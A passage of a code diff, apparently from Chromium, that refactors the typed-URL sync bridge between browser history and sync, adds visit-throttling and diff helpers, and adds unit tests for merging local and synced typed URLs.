-    history_backend_->AddPagesWithDetails(*new_urls, history::SOURCE_SYNCED);
+    history_backend_->AddPagesWithDetails(*new_urls, SOURCE_SYNCED);
   }
 
   if (updated_urls) {
@@ -694,7 +939,7 @@
         continue;
       ++num_db_accesses_;
       if (!history_backend_->AddVisits(visits.first, visits.second,
-                                       history::SOURCE_SYNCED)) {
+                                       SOURCE_SYNCED)) {
         ++num_db_errors_;
         return ModelError(FROM_HERE, "Could not add visits to HistoryBackend.");
       }
@@ -748,7 +993,7 @@
   if (net::IsLocalhost(url.host_piece()))
     return true;
 
-  // Ignore username and password, sonce history backend will remove user name
+  // Ignore username and password, since history backend will remove user name
   // and password in URLDatabase::GURLToDatabaseURL and send username/password
   // removed url to sync later.
   if (url.has_username() || url.has_password())
@@ -757,12 +1002,11 @@
   return false;
 }
 
-bool TypedURLSyncBridge::ShouldIgnoreVisits(
-    const history::VisitVector& visits) {
+bool TypedURLSyncBridge::ShouldIgnoreVisits(const VisitVector& visits) {
   // We ignore URLs that were imported, but have never been visited by
   // chromium.
-  static const int kFirstImportedSource = history::SOURCE_FIREFOX_IMPORTED;
-  history::VisitSourceMap map;
+  static const int kFirstImportedSource = SOURCE_FIREFOX_IMPORTED;
+  VisitSourceMap map;
   if (!history_backend_->GetVisitsSource(visits, &map))
     return false;  // If we can't read the visit, assume it's not imported.
 
@@ -777,6 +1021,21 @@
   return true;
 }
 
+bool TypedURLSyncBridge::ShouldSyncVisit(int typed_count,
+                                         ui::PageTransition transition) {
+  // Just use an ad-hoc criteria to determine whether to ignore this
+  // notification. For most users, the distribution of visits is roughly a bell
+  // curve with a long tail - there are lots of URLs with < 5 visits so we want
+  // to make sure we sync up every visit to ensure the proper ordering of
+  // suggestions. But there are relatively few URLs with > 10 visits, and those
+  // tend to be more broadly distributed such that there's no need to sync up
+  // every visit to preserve their relative ordering.
+  return (ui::PageTransitionCoreTypeIs(transition, ui::PAGE_TRANSITION_TYPED) &&
+          typed_count >= 0 &&
+          (typed_count < kTypedUrlVisitThrottleThreshold ||
+           (typed_count % kTypedUrlVisitThrottleMultiple) == 0));
+}
+
 bool TypedURLSyncBridge::FixupURLAndGetVisits(URLRow* url,
                                               VisitVector* visits) {
   ++num_db_accesses_;
@@ -852,10 +1111,9 @@
 
   if (!WriteToTypedUrlSpecifics(row, visits, specifics)) {
     // Cannot write to specifics, ex. no TYPED visits.
-    return base::MakeUnique<EntityData>();
+    return nullptr;
   }
   entity_data->non_unique_name = row.url().spec();
-
   return entity_data;
 }
 
@@ -864,13 +1122,13 @@
   DCHECK(url_to_visit);
   DCHECK(url_to_urlrow);
 
-  history::URLRows local_typed_urls;
+  URLRows local_typed_urls;
   ++num_db_accesses_;
   if (!history_backend_->GetAllTypedURLs(&local_typed_urls)) {
     ++num_db_errors_;
     return false;
   }
-  for (history::URLRow& url : local_typed_urls) {
+  for (URLRow& url : local_typed_urls) {
     DCHECK_EQ(0U, url_to_visit->count(url.url()));
     if (!FixupURLAndGetVisits(&url, &((*url_to_visit)[url.url()])) ||
         ShouldIgnoreUrl(url.url()) ||
@@ -901,4 +1159,23 @@
   return GetStorageKeyFromURLRow(existing_url);
 }
 
+void TypedURLSyncBridge::SendTypedURLToProcessor(
+    const URLRow& row,
+    const VisitVector& visits,
+    MetadataChangeList* metadata_change_list) {
+  DCHECK(!visits.empty());
+  DCHECK(metadata_change_list);
+
+  std::unique_ptr<syncer::EntityData> entity_data =
+      CreateEntityData(row, visits);
+  if (!entity_data.get()) {
+    // Cannot create EntityData, ex. no TYPED visits.
+    return;
+  }
+
+  std::string storage_key = GetStorageKeyFromURLRow(row);
+  change_processor()->Put(storage_key, std::move(entity_data),
+                          metadata_change_list);
+}
+
 }  // namespace history
diff --git a/components/history/core/browser/typed_url_sync_bridge.h b/components/history/core/browser/typed_url_sync_bridge.h
index 13a8bbd..01f25ee 100644
--- a/components/history/core/browser/typed_url_sync_bridge.h
+++ b/components/history/core/browser/typed_url_sync_bridge.h
@@ -40,17 +40,17 @@
   bool SupportsGetStorageKey() const override;
 
   // history::HistoryBackendObserver:
-  void OnURLVisited(history::HistoryBackend* history_backend,
+  void OnURLVisited(HistoryBackend* history_backend,
                     ui::PageTransition transition,
-                    const history::URLRow& row,
-                    const history::RedirectList& redirects,
+                    const URLRow& row,
+                    const RedirectList& redirects,
                     base::Time visit_time) override;
-  void OnURLsModified(history::HistoryBackend* history_backend,
-                      const history::URLRows& changed_urls) override;
-  void OnURLsDeleted(history::HistoryBackend* history_backend,
+  void OnURLsModified(HistoryBackend* history_backend,
+                      const URLRows& changed_urls) override;
+  void OnURLsDeleted(HistoryBackend* history_backend,
                      bool all_history,
                      bool expired,
-                     const history::URLRows& deleted_rows,
+                     const URLRows& deleted_rows,
                      const std::set<GURL>& favicon_urls) override;
 
   // Must be called after creation and before any operations.
@@ -97,15 +97,25 @@
   //   should be written to the history DB for this URL. Deletions are not
   //   written to the DB - each client is left to age out visits on their own.
   static MergeResult MergeUrls(const sync_pb::TypedUrlSpecifics& typed_url,
-                               const history::URLRow& url,
-                               history::VisitVector* visits,
-                               history::URLRow* new_url,
-                               std::vector<history::VisitInfo>* new_visits);
+                               const URLRow& url,
+                               VisitVector* visits,
+                               URLRow* new_url,
+                               std::vector<VisitInfo>* new_visits);
+
+  // Diffs the set of visits between the history DB and the sync DB, using the
+  // sync DB as the canonical copy. Result is the set of |new_visits| and
+  // |removed_visits| that can be applied to the history DB to make it match
+  // the sync DB version. |removed_visits| can be null if the caller does not
+  // care about which visits to remove.
+  static void DiffVisits(const VisitVector& history_visits,
+                         const sync_pb::TypedUrlSpecifics& sync_specifics,
+                         std::vector<VisitInfo>* new_visits,
+                         VisitVector* removed_visits);
 
   // Fills |new_url| with formatted data from |typed_url|.
   static void UpdateURLRowFromTypedUrlSpecifics(
       const sync_pb::TypedUrlSpecifics& typed_url,
-      history::URLRow* new_url);
+      URLRow* new_url);
 
   // Synchronously load sync metadata from the TypedURLSyncMetadataDatabase and
   // pass it to the processor so that it can start tracking changes.
@@ -118,20 +128,38 @@
   // Compares |server_typed_url| from the server against local history to decide
   // how to merge any existing data, and updates appropriate data containers to
   // write to server and backend.
-  void UpdateUrlFromServer(const sync_pb::TypedUrlSpecifics& server_typed_url,
-                           TypedURLMap* local_typed_urls,
-                           URLVisitVectorMap* visit_vectors,
-                           history::URLRows* new_synced_urls,
-                           TypedURLVisitVector* new_synced_visits,
-                           history::URLRows* updated_synced_urls);
+  void MergeURLWithSync(const sync_pb::TypedUrlSpecifics& server_typed_url,
+                        TypedURLMap* local_typed_urls,
+                        URLVisitVectorMap* visit_vectors,
+                        URLRows* new_synced_urls,
+                        TypedURLVisitVector* new_synced_visits,
+                        URLRows* updated_synced_urls);
+
+  // Given a typed URL in the sync DB, looks for an existing entry in the
+  // local history DB and generates a list of visits to add to the
+  // history DB to bring it up to date (avoiding duplicates).
+  // Updates the passed |visits_to_add| and |visits_to_remove| vectors with the
+  // visits to add to/remove from the history DB, and adds a new entry to either
+  // |updated_urls| or |new_urls| depending on whether the URL already existed
+  // in the history DB.
+  void UpdateFromSync(const sync_pb::TypedUrlSpecifics& typed_url,
+                      TypedURLVisitVector* visits_to_add,
+                      VisitVector* visits_to_remove,
+                      URLRows* updated_urls,
+                      URLRows* new_urls);
+
+  // Utility routine that either updates an existing sync node or creates a
+  // new one for the passed |typed_url| if one does not already exist.
+  void UpdateSyncFromLocal(URLRow typed_url,
+                           syncer::MetadataChangeList* metadata_change_list);
 
   // Writes new typed url data from sync server to history backend.
   base::Optional<syncer::ModelError> WriteToHistoryBackend(
-      const history::URLRows* new_urls,
-      const history::URLRows* updated_urls,
+      const URLRows* new_urls,
+      const URLRows* updated_urls,
       const std::vector<GURL>* deleted_urls,
       const TypedURLVisitVector* new_visits,
-      const history::VisitVector* deleted_visits);
+      const VisitVector* deleted_visits);
 
   // Given a TypedUrlSpecifics object, removes all visits that are older than
   // the current expiration time. Note that this can result in having no visits
@@ -145,7 +173,13 @@
 
   // Helper function that determines if we should ignore a URL for the purposes
   // of sync, based on the visits the URL had.
-  bool ShouldIgnoreVisits(const history::VisitVector& visits);
+  bool ShouldIgnoreVisits(const VisitVector& visits);
+
+  // Returns true if the caller should sync as a result of the passed visit
+  // notification. We use this to throttle the number of sync changes we send
+  // to the server so we don't hit the server for every
+  // single typed URL visit.
+  bool ShouldSyncVisit(int typed_count, ui::PageTransition transition);
 
   // Fetches visits from the history DB corresponding to the passed URL. This
   // function compensates for the fact that the history DB has rather poor data
@@ -173,6 +207,12 @@
   // Get URLID from HistoryBackend, and return URLID as storage key.
   std::string GetStorageKeyInternal(const std::string& url);
 
+  // Send local typed url to processor().
+  void SendTypedURLToProcessor(
+      const URLRow& row,
+      const VisitVector& visits,
+      syncer::MetadataChangeList* metadata_change_list);
+
   // A non-owning pointer to the backend, which we're syncing local changes from
   // and sync changes to.
   HistoryBackend* const history_backend_;
@@ -192,7 +232,7 @@
 
   // Tracks observed history backend, for receiving updates from history
   // backend.
-  ScopedObserver<history::HistoryBackend, history::HistoryBackendObserver>
+  ScopedObserver<HistoryBackend, HistoryBackendObserver>
       history_backend_observer_;
 
   DISALLOW_COPY_AND_ASSIGN(TypedURLSyncBridge);
diff --git a/components/history/core/browser/typed_url_sync_bridge_unittest.cc b/components/history/core/browser/typed_url_sync_bridge_unittest.cc
index 4a36d3a..e598864 100644
--- a/components/history/core/browser/typed_url_sync_bridge_unittest.cc
+++ b/components/history/core/browser/typed_url_sync_bridge_unittest.cc
@@ -4,6 +4,7 @@
 
 #include "components/history/core/browser/typed_url_sync_bridge.h"
 
+#include "base/big_endian.h"
 #include "base/files/scoped_temp_dir.h"
 #include "base/message_loop/message_loop.h"
 #include "base/strings/utf_string_conversions.h"
@@ -26,12 +27,19 @@
 using syncer::EntityDataPtr;
 using syncer::KeyAndData;
 using syncer::MetadataBatch;
+using syncer::MetadataChangeList;
 using syncer::RecordingModelTypeChangeProcessor;
 
 namespace history {
 
 namespace {
 
+// Constants used to limit size of visits processed. See
+// equivalent constants in typed_url_sync_bridge.cc for descriptions.
+const int kMaxTypedUrlVisits = 100;
+const int kVisitThrottleThreshold = 10;
+const int kVisitThrottleMultiple = 10;
+
 // Visits with this timestamp are treated as expired.
 const int kExpiredVisit = -1;
 
@@ -41,6 +49,49 @@
 const char kURL[] = "http://pie.com/";
 const char kURL2[] = "http://cookie.com/";
 
+bool URLsEqual(URLRow& row, sync_pb::TypedUrlSpecifics& specifics) {
+  return ((row.url().spec().compare(specifics.url()) == 0) &&
+          (base::UTF16ToUTF8(row.title()).compare(specifics.title()) == 0) &&
+          (row.hidden() == specifics.hidden()));
+}
+
+bool URLsEqual(URLRow& lhs, URLRow& rhs) {
+  // Only compare synced fields (ignore typed_count and visit_count as those
+  // are maintained by the history subsystem).
+  return (lhs.url().spec().compare(rhs.url().spec()) == 0) &&
+         (lhs.title().compare(rhs.title()) == 0) &&
+         (lhs.hidden() == rhs.hidden());
+}
+
+void AddNewestVisit(ui::PageTransition transition,
+                    int64_t visit_time,
+                    URLRow* url,
+                    VisitVector* visits) {
+  base::Time time = base::Time::FromInternalValue(visit_time);
+  visits->insert(visits->begin(), VisitRow(url->id(), time, 0, transition, 0));
+
+  if (ui::PageTransitionCoreTypeIs(transition, ui::PAGE_TRANSITION_TYPED)) {
+    url->set_typed_count(url->typed_count() + 1);
+  }
+
+  url->set_last_visit(time);
+  url->set_visit_count(visits->size());
+}
+
+void AddOldestVisit(ui::PageTransition transition,
+                    int64_t visit_time,
+                    URLRow* url,
+                    VisitVector* visits) {
+  base::Time time = base::Time::FromInternalValue(visit_time);
+  visits->push_back(VisitRow(url->id(), time, 0, transition, 0));
+
+  if (ui::PageTransitionCoreTypeIs(transition, ui::PAGE_TRANSITION_TYPED)) {
+    url->set_typed_count(url->typed_count() + 1);
+  }
+
+  url->set_visit_count(visits->size());
+}
+
 // Create a new row object and the typed visit çorresponding with the time at
 // |last_visit| in the |visits| vector.
 URLRow MakeTypedUrlRow(const std::string& url,
@@ -104,6 +155,12 @@
   EXPECT_TRUE(expected.empty());
 }
 
+std::string IntToStroageKey(int id) {
+  std::string storage_key(sizeof(URLID), 0);
+  base::WriteBigEndian<URLID>(&storage_key[0], id);
+  return storage_key;
+}
+
 class TestHistoryBackendDelegate : public HistoryBackend::Delegate {
  public:
   TestHistoryBackendDelegate() {}
@@ -149,16 +206,17 @@
   }
 
   void SetVisitsForUrl(URLRow& new_url, const VisitVector visits) {
-    std::vector<history::VisitInfo> added_visits;
-    URLRows new_urls;
-    DeleteURL(new_url.url());
-    for (const auto& visit : visits) {
-      added_visits.push_back(
-          history::VisitInfo(visit.visit_time, visit.transition));
+    if (!GetURL(new_url.url(), nullptr)) {
+      URLRows new_urls;
+      new_urls.push_back(new_url);
+      AddPagesWithDetails(new_urls, SOURCE_SYNCED);
     }
-    new_urls.push_back(new_url);
-    AddPagesWithDetails(new_urls, history::SOURCE_SYNCED);
-    AddVisits(new_url.url(), added_visits, history::SOURCE_SYNCED);
+
+    std::vector<VisitInfo> added_visits;
+    for (const auto& visit : visits) {
+      added_visits.push_back(VisitInfo(visit.visit_time, visit.transition));
+    }
+    AddVisits(new_url.url(), added_visits, SOURCE_SYNCED);
     new_url.set_id(GetIdByUrl(new_url.url()));
   }
 
@@ -189,7 +247,10 @@
     fake_history_backend_->SetTypedURLSyncBridgeForTest(std::move(bridge));
   }
 
-  void TearDown() override { fake_history_backend_->Closing(); }
+  void TearDown() override {
+    VerifyProcessorReceivedValidEntityData();
+    fake_history_backend_->Closing();
+  }
 
   // Starts sync for |typed_url_sync_bridge_| with |initial_data| as the
   // initial sync data.
@@ -202,6 +263,80 @@
     EXPECT_FALSE(error);
   }
 
+  bool BuildAndPushLocalChanges(unsigned int num_typed_urls,
+                                unsigned int num_reload_urls,
+                                const std::vector<std::string>& urls,
+                                URLRows* rows,
+                                std::vector<VisitVector>* visit_vectors) {
+    unsigned int total_urls = num_typed_urls + num_reload_urls;
+    DCHECK(urls.size() >= total_urls);
+    if (!bridge())
+      return false;
+
+    if (total_urls) {
+      // Create new URL rows, populate the mock backend with its visits, and
+      // send to the sync service.
+      URLRows changed_urls;
+
+      for (unsigned int i = 0; i < total_urls; ++i) {
+        int typed = i < num_typed_urls ? 1 : 0;
+        VisitVector visits;
+        visit_vectors->push_back(visits);
+        rows->push_back(MakeTypedUrlRow(urls[i], kTitle, typed, i + 3, false,
+                                        &visit_vectors->back()));
+        fake_history_backend_->SetVisitsForUrl(rows->back(),
+                                               visit_vectors->back());
+        changed_urls.push_back(rows->back());
+      }
+
+      bridge()->OnURLsModified(fake_history_backend_.get(), changed_urls);
+    }
+
+    // Check that communication with sync was successful.
+    if (num_typed_urls != processor().put_multimap().size())
+      return false;
+    return true;
+  }
+
+  VisitVector ApplyUrlAndVisitsChange(const std::string& url,
+                                      const std::string& title,
+                                      int typed_count,
+                                      int64_t last_visit,
+                                      bool hidden,
+                                      EntityChange::ChangeType change_type) {
+    VisitVector visits;
+    URLRow row =
+        MakeTypedUrlRow(url, title, typed_count, last_visit, hidden, &visits);
+    sync_pb::TypedUrlSpecifics typed_url_specifics;
+    WriteToTypedUrlSpecifics(row, visits, &typed_url_specifics);
+    std::unique_ptr<MetadataChangeList> metadata_changes =
+        bridge()->CreateMetadataChangeList();
+    EntityChangeList entity_changes;
+    switch (change_type) {
+      case EntityChange::ACTION_ADD:
+        entity_changes.push_back(EntityChange::CreateAdd(
+            std::string(), SpecificsToEntity(typed_url_specifics)));
+        break;
+      case EntityChange::ACTION_UPDATE:
+        entity_changes.push_back(
+            EntityChange::CreateUpdate(GetStorageKey(typed_url_specifics.url()),
+                                       SpecificsToEntity(typed_url_specifics)));
+        break;
+      case EntityChange::ACTION_DELETE:
+        entity_changes.push_back(EntityChange::CreateDelete(
+            GetStorageKey(typed_url_specifics.url())));
+        break;
+    }
+    bridge()->ApplySyncChanges(std::move(metadata_changes), entity_changes);
+    return visits;
+  }
+
+  void AddObserver() {
+    bridge()->history_backend_observer_.Add(fake_history_backend_.get());
+  }
+
+  void RemoveObserver() { bridge()->history_backend_observer_.RemoveAll(); }
+
   // Fills |specifics| with the sync data for |url| and |visits|.
   static bool WriteToTypedUrlSpecifics(const URLRow& url,
                                        const VisitVector& visits,
@@ -209,9 +344,8 @@
     return TypedURLSyncBridge::WriteToTypedUrlSpecifics(url, visits, specifics);
   }
 
-  std::string GetStorageKey(const TypedUrlSpecifics& specifics) {
-    std::string key = bridge()->GetStorageKeyInternal(specifics.url());
-    return key;
+  std::string GetStorageKey(const std::string& url) {
+    return bridge()->GetStorageKeyInternal(url);
   }
 
   EntityDataPtr SpecificsToEntity(const TypedUrlSpecifics& specifics) {
@@ -226,7 +360,7 @@
     EntityChangeList entity_change_list;
     for (const auto& specifics : specifics_vector) {
       entity_change_list.push_back(EntityChange::CreateAdd(
-          GetStorageKey(specifics), SpecificsToEntity(specifics)));
+          GetStorageKey(specifics.url()), SpecificsToEntity(specifics)));
     }
     return entity_change_list;
   }
@@ -235,15 +369,86 @@
       const std::vector<TypedUrlSpecifics>& specifics_vector) {
     std::map<std::string, TypedUrlSpecifics> map;
     for (const auto& specifics : specifics_vector) {
-      map[GetStorageKey(specifics)] = specifics;
+      map[GetStorageKey(specifics.url())] = specifics;
     }
     return map;
   }
 
-  void VerifyLocalHistoryData(const std::vector<TypedUrlSpecifics>& expected) {
+  void VerifyAllLocalHistoryData(
+      const std::vector<TypedUrlSpecifics>& expected) {
     bridge()->GetAllData(base::Bind(&VerifyDataBatch, ExpectedMap(expected)));
   }
 
+  void VerifyGetData(TypedURLSyncBridge::StorageKeyList storage_keys,
+                     const std::vector<TypedUrlSpecifics>& expected) {
+    bridge()->GetData(storage_keys,
+                      base::Bind(&VerifyDataBatch, ExpectedMap(expected)));
+  }
+
+  void VerifyProcessorReceivedValidEntityData() {
+    for (const auto& it : processor().put_multimap()) {
+      EXPECT_GT(TypedURLSyncMetadataDatabase::StorageKeyToURLID(it.first), 0);
+      EXPECT_TRUE(it.second->specifics.has_typed_url());
+    }
+  }
+
+  sync_pb::TypedUrlSpecifics GetLastUpdateForURL(const std::string& url) {
+    const std::string storage_key = GetStorageKey(url);
+    auto eq_range = processor().put_multimap().equal_range(storage_key);
+    if (eq_range.first == eq_range.second)
+      return sync_pb::TypedUrlSpecifics();
+
+    auto recorded_specifics_iterator = --eq_range.second;
+    EXPECT_NE(processor().put_multimap().end(), recorded_specifics_iterator);
+    EXPECT_TRUE(recorded_specifics_iterator->second->specifics.has_typed_url());
+
+    return recorded_specifics_iterator->second->specifics.typed_url();
+  }
+
+  static void DiffVisits(const VisitVector& history_visits,
+                         const sync_pb::TypedUrlSpecifics& sync_specifics,
+                         std::vector<VisitInfo>* new_visits,
+                         VisitVector* removed_visits) {
+    TypedURLSyncBridge::DiffVisits(history_visits, sync_specifics, new_visits,
+                                   removed_visits);
+  }
+
+  static VisitRow CreateVisit(ui::PageTransition type, int64_t timestamp) {
+    return VisitRow(0, base::Time::FromInternalValue(timestamp), 0, type, 0);
+  }
+
+  static TypedURLSyncBridge::MergeResult MergeUrls(
+      const sync_pb::TypedUrlSpecifics& typed_url,
+      const URLRow& url,
+      VisitVector* visits,
+      URLRow* new_url,
+      std::vector<VisitInfo>* new_visits) {
+    return TypedURLSyncBridge::MergeUrls(typed_url, url, visits, new_url,
+                                         new_visits);
+  }
+
+  static sync_pb::TypedUrlSpecifics MakeTypedUrlSpecifics(const char* url,
+                                                          const char* title,
+                                                          int64_t last_visit,
+                                                          bool hidden) {
+    sync_pb::TypedUrlSpecifics typed_url;
+    typed_url.set_url(url);
+    typed_url.set_title(title);
+    typed_url.set_hidden(hidden);
+    typed_url.add_visits(last_visit);
+    typed_url.add_visit_transitions(ui::PAGE_TRANSITION_TYPED);
+    return typed_url;
+  }
+
+  static const TypedURLSyncBridge::MergeResult DIFF_NONE =
+      TypedURLSyncBridge::DIFF_NONE;
+  static const TypedURLSyncBridge::MergeResult DIFF_UPDATE_NODE =
+      TypedURLSyncBridge::DIFF_UPDATE_NODE;
+  static const TypedURLSyncBridge::MergeResult DIFF_LOCAL_ROW_CHANGED =
+      TypedURLSyncBridge::DIFF_LOCAL_ROW_CHANGED;
+  static const TypedURLSyncBridge::MergeResult DIFF_LOCAL_VISITS_ADDED =
+      TypedURLSyncBridge::DIFF_LOCAL_VISITS_ADDED;
+
   TypedURLSyncBridge* bridge() { return typed_url_sync_bridge_; }
 
   TypedURLSyncMetadataDatabase* metadata_store() {
@@ -277,7 +482,26 @@
   WriteToTypedUrlSpecifics(row2, visits2, &typed_url2);
 
   // Check that the local cache is still correct.
-  VerifyLocalHistoryData({typed_url1, typed_url2});
+  VerifyAllLocalHistoryData({typed_url1, typed_url2});
+}
+
+// Add two typed urls locally and verify bridge can get them from GetData.
+TEST_F(TypedURLSyncBridgeTest, GetData) {
+  // Add two urls to backend.
+  VisitVector visits1, visits2;
+  URLRow row1 = MakeTypedUrlRow(kURL, kTitle, 1, 3, false, &visits1);
+  URLRow row2 = MakeTypedUrlRow(kURL2, kTitle2, 2, 4, false, &visits2);
+  fake_history_backend_->SetVisitsForUrl(row1, visits1);
+  fake_history_backend_->SetVisitsForUrl(row2, visits2);
+
+  // Create the same data in sync.
+  TypedUrlSpecifics typed_url1, typed_url2;
+  WriteToTypedUrlSpecifics(row1, visits1, &typed_url1);
+  WriteToTypedUrlSpecifics(row2, visits2, &typed_url2);
+
+  // Check that the local cache is still correct.
+  VerifyGetData({IntToStroageKey(1)}, {typed_url1});
+  VerifyGetData({IntToStroageKey(2)}, {typed_url2});
 }
 
 // Add a typed url locally and one to sync with the same data. Starting sync
@@ -296,8 +520,19 @@
   StartSyncing({*typed_url});
   EXPECT_TRUE(processor().put_multimap().empty());
 
+  // Even Sync already know the url, bridge still need to tell sync about
+  // storage keys.
+  EXPECT_EQ(1u, processor().update_multimap().size());
+
+  // Verify processor receive correct upate storage key.
+  const auto& it = processor().update_multimap().begin();
+  EXPECT_EQ(it->first, IntToStroageKey(1));
+  EXPECT_TRUE(it->second->specifics.has_typed_url());
+  EXPECT_EQ(it->second->specifics.typed_url().url(), kURL);
+  EXPECT_EQ(it->second->specifics.typed_url().title(), kTitle);
+
   // Check that the local cache was is still correct.
-  VerifyLocalHistoryData({*typed_url});
+  VerifyAllLocalHistoryData({*typed_url});
 }
 
 // Add a corupted typed url locally, has typed url count 1, but no real typed
@@ -332,12 +567,12 @@
   sync_pb::EntitySpecifics entity_specifics;
   sync_pb::TypedUrlSpecifics* typed_url = entity_specifics.mutable_typed_url();
   WriteToTypedUrlSpecifics(row, visits, typed_url);
-  VerifyLocalHistoryData({*typed_url});
+  VerifyAllLocalHistoryData({*typed_url});
 
   // Check that the server was updated correctly.
   ASSERT_EQ(1U, processor().put_multimap().size());
   auto recorded_specifics_iterator =
-      processor().put_multimap().find(GetStorageKey(*typed_url));
+      processor().put_multimap().find(GetStorageKey(typed_url->url()));
   EXPECT_NE(processor().put_multimap().end(), recorded_specifics_iterator);
   TypedUrlSpecifics recorded_specifics =
       recorded_specifics_iterator->second->specifics.typed_url();
@@ -361,6 +596,14 @@
 
   StartSyncing({*typed_url});
   EXPECT_EQ(0u, processor().put_multimap().size());
+  EXPECT_EQ(1u, processor().update_multimap().size());
+
+  // Verify processor receive correct upate storage key.
+  const auto& it = processor().update_multimap().begin();
+  EXPECT_EQ(it->first, IntToStroageKey(1));
+  EXPECT_TRUE(it->second->specifics.has_typed_url());
+  EXPECT_EQ(it->second->specifics.typed_url().url(), kURL);
+  EXPECT_EQ(it->second->specifics.typed_url().title(), kTitle);
 
   // Check that the backend was updated correctly.
   VisitVector all_visits;
@@ -374,6 +617,129 @@
       all_visits[0].transition, visits[0].transition));
 }
 
+// Add a url to the local and sync data before sync begins, with the sync data
+// having more recent visits. Check that starting sync updates the backend
+// with the sync visit, while the older local visit is not pushed to sync.
+// The title should be updated to the sync version due to the more recent
+// timestamp.
+TEST_F(TypedURLSyncBridgeTest, MergeUrlOldLocal) {
+  // Add a url to backend.
+  VisitVector visits;
+  URLRow local_row = MakeTypedUrlRow(kURL, kTitle, 1, 3, false, &visits);
+  fake_history_backend_->SetVisitsForUrl(local_row, visits);
+
+  // Create sync data for the same url with a more recent visit.
+  VisitVector server_visits;
+  URLRow server_row =
+      MakeTypedUrlRow(kURL, kTitle2, 1, 6, false, &server_visits);
+  server_row.set_id(fake_history_backend_->GetIdByUrl(GURL(kURL)));
+  sync_pb::EntitySpecifics entity_specifics;
+  sync_pb::TypedUrlSpecifics* typed_url = entity_specifics.mutable_typed_url();
+  WriteToTypedUrlSpecifics(server_row, server_visits, typed_url);
+  StartSyncing({*typed_url});
+
+  // Check that the backend was updated correctly.
+  VisitVector all_visits;
+  base::Time server_time = base::Time::FromInternalValue(6);
+  URLID url_id = fake_history_backend_->GetIdByUrl(GURL(kURL));
+  ASSERT_NE(0, url_id);
+  fake_history_backend_->GetVisitsForURL(url_id, &all_visits);
+  ASSERT_EQ(2U, all_visits.size());
+  EXPECT_EQ(server_time, all_visits.back().visit_time);
+  EXPECT_TRUE(ui::PageTransitionTypeIncludingQualifiersIs(
+      all_visits.back().transition, server_visits[0].transition));
+  URLRow url_row;
+  EXPECT_TRUE(fake_history_backend_->GetURL(GURL(kURL), &url_row));
+  EXPECT_EQ(kTitle2, base::UTF16ToUTF8(url_row.title()));
+
+  // Check that the sync was updated correctly.
+  // The local history visit should not be added to sync because it is older
+  // than sync's oldest visit.
+  ASSERT_EQ(1U, processor().put_multimap().size());
+
+  sync_pb::TypedUrlSpecifics url_specifics = GetLastUpdateForURL(kURL);
+  ASSERT_EQ(1, url_specifics.visits_size());
+  EXPECT_EQ(6, url_specifics.visits(0));
+  ASSERT_EQ(1, url_specifics.visit_transitions_size());
+  EXPECT_EQ(static_cast<const int>(visits[0].transition),
+            url_specifics.visit_transitions(0));
+}
+
+// Add a url to the local and sync data before sync begins, with the local data
+// having more recent visits. Check that starting sync updates the sync
+// with the local visits, while the older sync visit is not pushed to the
+// backend. Sync's title should be updated to the local version due to the more
+// recent timestamp.
+TEST_F(TypedURLSyncBridgeTest, MergeUrlOldSync) {
+  // Add a url to backend.
+  VisitVector visits;
+  URLRow local_row = MakeTypedUrlRow(kURL, kTitle2, 1, 3, false, &visits);
+  fake_history_backend_->SetVisitsForUrl(local_row, visits);
+
+  // Create sync data for the same url with an older visit.
+  VisitVector server_visits;
+  URLRow server_row =
+      MakeTypedUrlRow(kURL, kTitle, 1, 2, false, &server_visits);
+  sync_pb::EntitySpecifics entity_specifics;
+  sync_pb::TypedUrlSpecifics* typed_url = entity_specifics.mutable_typed_url();
+  WriteToTypedUrlSpecifics(server_row, server_visits, typed_url);
+  StartSyncing({*typed_url});
+
+  // Check that the backend was not updated.
+  VisitVector all_visits;
+  base::Time local_visit_time = base::Time::FromInternalValue(3);
+  URLID url_id = fake_history_backend_->GetIdByUrl(GURL(kURL));
+  ASSERT_NE(0, url_id);
+  fake_history_backend_->GetVisitsForURL(url_id, &all_visits);
+  ASSERT_EQ(1U, all_visits.size());
+  EXPECT_EQ(local_visit_time, all_visits[0].visit_time);
+
+  // Check that the server was updated correctly.
+  // The local history visit should not be added to sync because it is older
+  // than sync's oldest visit.
+  ASSERT_EQ(1U, processor().put_multimap().size());
+
+  sync_pb::TypedUrlSpecifics url_specifics = GetLastUpdateForURL(kURL);
+  ASSERT_EQ(1, url_specifics.visits_size());
+  EXPECT_EQ(3, url_specifics.visits(0));
+  EXPECT_EQ(kTitle2, url_specifics.title());
+  ASSERT_EQ(1, url_specifics.visit_transitions_size());
+  EXPECT_EQ(static_cast<const int>(visits[0].transition),
+            url_specifics.visit_transitions(0));
+}
+
+// Check that there is no crash during start sync, if history backend and sync
+// have same url, but sync has username/password in it.
+// Also check sync will not accept url with username and password.
+TEST_F(TypedURLSyncBridgeTest, MergeUrlsWithUsernameAndPassword) {
+  const char kURLWithUsernameAndPassword[] =
+      "http://username:password@pie.com/";
+
+  // Add a url to backend.
+  VisitVector visits;
+  URLRow local_row = MakeTypedUrlRow(kURL, kTitle2, 1, 3, false, &visits);
+  fake_history_backend_->SetVisitsForUrl(local_row, visits);
+
+  // Create sync data for the same url but contain username and password.
+  VisitVector server_visits;
+  URLRow server_row = MakeTypedUrlRow(kURLWithUsernameAndPassword, kTitle, 1, 3,
+                                      false, &server_visits);
+  sync_pb::EntitySpecifics entity_specifics;
+  sync_pb::TypedUrlSpecifics* typed_url = entity_specifics.mutable_typed_url();
+  WriteToTypedUrlSpecifics(server_row, server_visits, typed_url);
+
+  // Make sure there is no crash when merge two urls.
+  StartSyncing({*typed_url});
+
+  // Notify typed url sync service of the update.
+  bridge()->OnURLVisited(fake_history_backend_.get(), ui::PAGE_TRANSITION_TYPED,
+                         server_row, RedirectList(),
+                         base::Time::FromInternalValue(7));
+
+  // Check username/password url is not synced.
+  ASSERT_EQ(1U, processor().put_multimap().size());
+}
+
 // Starting sync with both local and sync have same typed URL, but different
 // visit. After merge, both local and sync should have two same visits.
 TEST_F(TypedURLSyncBridgeTest, SimpleMerge) {
@@ -406,4 +772,795 @@
       all_visits[1].transition, visits2[0].transition));
 }
 
+// Create a local typed URL with one TYPED visit after sync has started. Check
+// that sync is sent an ADD change for the new URL.
+TEST_F(TypedURLSyncBridgeTest, AddLocalTypedUrl) {
+  // Create a local typed URL (simulate a typed visit) that is not already
+  // in sync. Check that sync is sent an ADD change for the existing URL.
+  URLRows url_rows;
+  std::vector<VisitVector> visit_vectors;
+  std::vector<std::string> urls;
+  urls.push_back(kURL);
+
+  StartSyncing(std::vector<TypedUrlSpecifics>());
